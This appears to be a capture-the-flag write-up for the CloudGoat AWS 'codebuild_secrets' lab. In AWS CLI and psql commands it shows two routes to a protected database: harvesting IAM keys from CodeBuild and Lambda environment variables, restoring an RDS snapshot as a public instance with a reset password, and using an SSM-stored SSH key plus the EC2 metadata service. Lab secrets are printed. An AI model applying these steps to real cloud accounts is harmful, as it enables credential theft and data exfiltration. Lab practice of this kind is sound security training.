Cloudgoat AWS CTF solution- Scenerio 9 (codebuild_secrets)

6 min readOct 24, 2022

Scenerio 9- codebuild_secrets

git clone
cd cloudgoat
chmod +x
./ config whitelist --auto
./ create codebuild_secrets

Scenario Resources

1 CodeBuild Project

1 Lambda function

1 VPC with:

  • RDS x 1
  • EC2 x 1

2 IAM Users

Scenario Start(s)

IAM User “Solo”

Scenario Goal(s)

A pair of secret strings stored in a secure RDS database.


Starting as the IAM user Solo, the attacker first enumerates and explores CodeBuild projects, finding unsecured IAM keys for the IAM user Calrissian therein. Then operating as Calrissian, the attacker discovers an RDS database. Unable to access the database’s contents directly, the attacker can make clever use of the RDS snapshot functionality to acquire the scenario’s goal: a pair of secret strings.

Alternatively, the attacker may explore SSM parameters and find SSH keys to an EC2 instance. Using the metadata service, the attacker can acquire the EC2 instance profile’s keys and push deeper into the target environment, eventually gaining access to the original database and the scenario goal inside (a pair of secret strings) by a more circuitous route.

Note: This scenario may require you to create some AWS resources, and because CloudGoat can only manage the resources it creates, you should remove them manually before running ./cloudgoat destroy.

Exploitation Route(s)

Walkthrough — Calrissian via RDS Snapshot

  1. As the IAM User Solo, the attacker explores the AWS environment and enumerates its permissions, and discovers they are able to list CodeBuild projects.
aws codebuild list-projects --profile solo

2. Enumerating code build project “cg-codebuild-codebuild_secrets_cgidnmff3ngu3y

a. Within the CodeBuild project, the we found IAM keys for the user “Calrissian” stored in environment variables.

aws codebuild batch-get-projects --names cg-codebuild-codebuild_secrets_cgidnmff3ngu3y --profile solo

3. Logging in with new creds and enumerating permissions-

4. We were able to list RDS instances and discover the private database which contains the scenario’s goal.

InstanceIdentifier- cg-rds-instance-codebuild-secrets-cgidnmff3ngu3y


Port- 5432

MasterUsername- cgadmin

DBName- securedb

But we were unable to connect to it from the internet :(

5. While we were unable to directly access the RDS instance, we have permission to create a snapshot from it.

aws rds create-db-snapshot --db-instance-identifier cg-rds-instance-codebuild-secrets-cgidnmff3ngu3y --db-snapshot-identifier cloudgoat --profile calrissian

DBSnapshotIdentifier- cloudgoat

6. Creating a DB instance from the snapshot and making it accessible from the internet-

a. Finding relevant subnet groups-

aws rds describe-db-subnet-groups --profile calrissian


b. Finding relevant subnet -

aws ec2 describe-security-groups --profile calrissian

GroupId- sg-03bb0912657c162f0

c. Creating db instance-

aws rds restore-db-instance-from-db-snapshot --db-instance-identifier copy-of-old --db-snapshot-identifier cloudgoat --db-subnet-group-name cloud-goat-rds-testing-subnet-group-codebuild_secrets_cgidnmff3ngu3y --publicly-accessible --vpc-security-group-ids sg-03bb0912657c162f0 --profile calrissian

7. Connecting to new DB instance-

a. Listing available DB instances-

aws rds describe-db-instances --profile calrissian

b. Changing the password-

aws rds modify-db-instance --db-instance-identifier copy-of-old --master-user-password cloudgoat --profile calrissian

c. Connecting to the new instance-

nmap -Pn --disable-arp-ping -n -vv -sS -p5432
psql -h -U cgadmin -d postgres
#list available databases
#change to database
\c securedb
#list tables
select * from sensitive_information;

Key1- V\!C70RY-PvyOSDptpOVNX2JDS9K9jVetC1xI4gMO4

Key2- V\!C70RY-JpZFReKtvUiWuhyPGF20m4SDYJtOTxws6

Walkthrough — Solo via EC2 Metadata service

  1. As solo user iam-enumerate tool was unable to determine ssm permissions but upon manually checking solo’s permissions we can see we have ssm:DescribeParameters and ssm:GetParameter permissions.

2. Listing SSM parameters-

aws ssm describe-parameters --profile solo

Prameter name- cg-ec2-private-key-codebuild_secrets_cgidnmff3ngu3y

  1. In the account’s SSM parameters, we found a pair of SSH keys stored without any encryption.
aws ssm get-parameter --name cg-ec2-private-key-codebuild_secrets_cgidnmff3ngu3y --profile solo

For saving this key-

echo -e <ssh_key_without_newlines> > ssh_key_private.out
chmod 400 ssh_key_private.out

2. Then we use this key to login into one of the ec2 instances-

a. Discovering an EC2 instance-

aws ec2 describe-instances --profile solo

b. Logging into ec2 instance using the private key found in the previous step-

ssh -i ssh_key_private.out ubuntu@

Branch A

  1. Now working with shell access, we can query the EC2 metadata service and discover the instance-profile’s IAM keys, and log in using ec2’s role.

2. Enumerating ec2’s role permissions we can see that we have permissions to list lambda functions-

2. We found database creds in the environment variables on lambda function-

aws lambda list-functions --profile ec2_role

“DB_USER”: “cgadmin”,
“DB_NAME”: “securedb”,
“DB_PASSWORD”: “wagrrrrwwgahhhhwwwrrggawwwwwwrr”

3. Our ec2 role also has permission to enumerate rds instances-

aws rds describe-db-instances --profile ec2_role

4. Logging into database and reading secrets-

psql -h -U cgadmin -d securedb

Branch B

  1. Now working with shell access, the we query the EC2 metadata service and discover that the database address is stored there, along with admin credentials-
psql postgresql://

2. Reading secrets using these creds-

psql -h -U cgadmin -d securedb#listing tables
select * from sensitive_information;